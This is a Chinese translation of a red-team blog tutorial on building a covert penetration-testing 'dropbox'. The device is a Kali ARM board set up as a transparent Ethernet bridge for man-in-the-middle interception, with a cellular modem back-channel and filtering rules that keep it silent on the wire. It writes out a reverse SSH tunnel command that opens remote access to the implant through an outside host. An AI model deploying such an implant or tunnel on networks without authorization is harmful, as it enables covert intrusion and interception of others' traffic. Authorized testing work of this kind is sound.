强化版Dropbox渗透测试:透明桥接与蜂窝网络回连技术

本文详细介绍了如何构建一个功能强大的渗透测试Dropbox设备,包括透明桥接中间人攻击配置、蜂窝网络调制解调器设置、反向SSH隧道建立,以及网络流量过滤和电源管理的最佳实践。

Pentesting Dropbox on Steroids

Joff Thyer//

很多人可能已经看过Beau Bullock关于渗透测试dropbox的优秀博客文章。Beau提供了使用不同平台构建基础dropbox平台的出色指导。在本文中,我选择了运行KALI(ARM)版的ODroid-C2平台,并将在其基础上扩展,添加一些重要功能。建议您先阅读Beau的文章,因为本文内容建立在该基础之上。

简而言之,Beau的优秀工作提到了部署临时接入点用于攻击者/渗透测试人员通信,但在某些场景下(如多租户/多层建筑),这种部署可能无法通过802.11访问。

作为改进方案,我将解决两个具体问题:

  1. 添加两个额外的以太网NIC以创建透明桥接中间人(MiTM)功能
  2. 添加蜂窝调制解调器用于反向通道通信,替代802.11 WiFi

透明桥接配置

透明桥接中间人功能在红队场景中非常有用。只要部署的dropbox有电池供电,测试人员可以通过任何可用方式进入组织,将dropbox连接在服务器/桌面系统与以太网墙插孔之间,然后快速撤离!

我的透明桥接要求相当基础。桥接解决方案必须转发任何ARP请求和包含0x0800 IP以太网类型的以太网帧。桥接还必须能够转发以太网类型0x888E的帧,这是局域网上的可扩展认证协议(EAPOL)。这很重要,以便捕获未启用MACSEC的802.1X帧。

首先安装bridge-utils:

1
2
# apt-get update 
# apt-get install bridge-utils

使用两个可靠的USB以太网NIC(建议使用USB3、10/100/1000Mbps能力的NIC),系统启动后应该能看到三个NIC:eth0、eth1和eth2。

手动创建桥接接口:

1
2
3
# brctl addbr br0 
# brctl addif br0 eth1 
# brctl addif br0 eth2

验证配置:

1
# brctl show

蜂窝调制解调器配置

需要安装必要的软件包:

1
2
# apt-get update 
# apt-get install ppp wvdial usb-modeswitch

选择不被任何提供商锁定的蜂窝调制解调器,并与您选择的提供商兼容。我选择了与任何GSM提供商兼容的GSM调制解调器。

使用wvdial工具配置PPP拨号。蜂窝调制解调器仍然使用旧的"AT"命令集语法。拨号初始化命令集和其他参数因提供商而异。

/etc/wvdial.conf文件配置示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
[Dialer ting] 
Init3 = AT+CGDCONT=1,"IP","wholesale" 
Phone = *99# 
IDSN = 0 
Baud = 460800 
Modem Type = Analog Modem 
Stupid Mode = 1 
Username = {blank} 
Modem = /dev/ttyUSB0 
Password = {blank} 
Init1 = ATZ 
Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 
Idle = 0 
Dial Attempts = 0 
Dial Timeout = 10

蜂窝调制解调器通常有两种模式:USB驱动器模式和调制解调器模式。需要通过/etc/usb_modeswitch.conf文件正确配置模式切换。

测试拨号:

1
# wvdial ting

创建启动脚本/etc/init.d/wvdial来自动启动拨号连接。

反向SSH隧道

现在有了可用的蜂窝调制解调器通道,下一步是建立反向SSH隧道到您喜欢的互联网目的地。这将使您能够随时通过反向隧道SSH到您的dropbox。

最简单的方法是在dropbox系统上生成SSH密钥,然后将公钥复制到互联网目标系统的SSH authorized_keys文件中。

生成ECDSA密钥:

1
ssh-keygen -t ecdsa

建立反向SSH隧道的命令:

1
ssh [email protected] -o TCPKeepAlive=yes -NTfR 2222:localhost:22

从远程系统登录dropbox:

1
ssh -p 2222 root@localhost

为了实现冗余,可以选择实现多个IP地址目标和多个TCP端口。还需要在蜂窝调制解调器连接成功完成后自动建立反向SSH隧道。

在服务器端(255.99.99.99远程端),设置几个空闲超时参数很有帮助。如果dropbox重新启动,我们需要隧道化的ssh会话超时以释放我们绑定的TCP端口。

额外的数据包过滤和转发

在此阶段,我们有一个配置了透明桥接接口(称为br0)的系统,它将愉快地转发流量,并且还将SSH隧道返回家中供您使用!这是一个很棒的成就,但仍有几个问题需要解决:

  1. dropbox需要在网络上真正静默
  2. dropbox需要能够转发EAPOL数据包
  3. 需要在启动时配置默认的静默行为
  4. 需要在启动时正确配置桥接接口

安装额外的过滤工具:

1
2
# apt-get install arptables 
# apt-get install ebtables

完整的网络接口配置示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
auto lo 
iface lo inet loopback 
auto eth0 
allow-hotplug eth0 
iface eth0 inet dhcp 
auto eth1 eth2 
allow-hotplug eth1 eth2 
auto br0 
allow-hotplug br0 
iface br0 inet static     
    address 169.254.1.1     
    network 169.254.1.0     
    netmask 255.255.255.0     
    bridge_ports eth1 eth2     
    pre-up arptables -A OUTPUT -j DROP     
    pre-up iptables -A OUTPUT -o br0 -j DROP     
    pre-up ebtables -A OUTPUT -o br0 -d Multicast -j DROP     
    post-up echo 8 >/sys/class/net/br0/bridge/group_fwd_mask

关于电源预算不足的说明

USB总线上的电源经常被过度使用。标准USB端口按规格可提供500毫瓦,USB 3.0最多可提供900毫瓦。添加两个以太网NIC和一个蜂窝调制解调器到USB总线时,每个端口可能没问题,但总瓦数消耗会增加。

实验测量显示:

  • ODroid-C2 + 两个USB NIC + 蜂窝调制解调器:总计4.7瓦(4700毫瓦)
  • 减去蜂窝调制解调器:3000毫瓦
  • 减去两个NIC:2700毫瓦

蜂窝调制解调器 = 1700毫瓦 USB NIC = 150毫瓦(x 2)

使用1安培 x 5 VDC电源最多可提供5000毫瓦。我们的测量是在空闲状态下进行的,这意味着我们非常接近最大电源预算。

解决方案是确保使用的电池解决方案能够提供至少2安培的电流,最大可达10,000毫瓦。即使使用2安培电池供电,如果电池未充满电,蜂窝调制解调器也会出现问题。

前进吧,中间人攻击所有东西!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计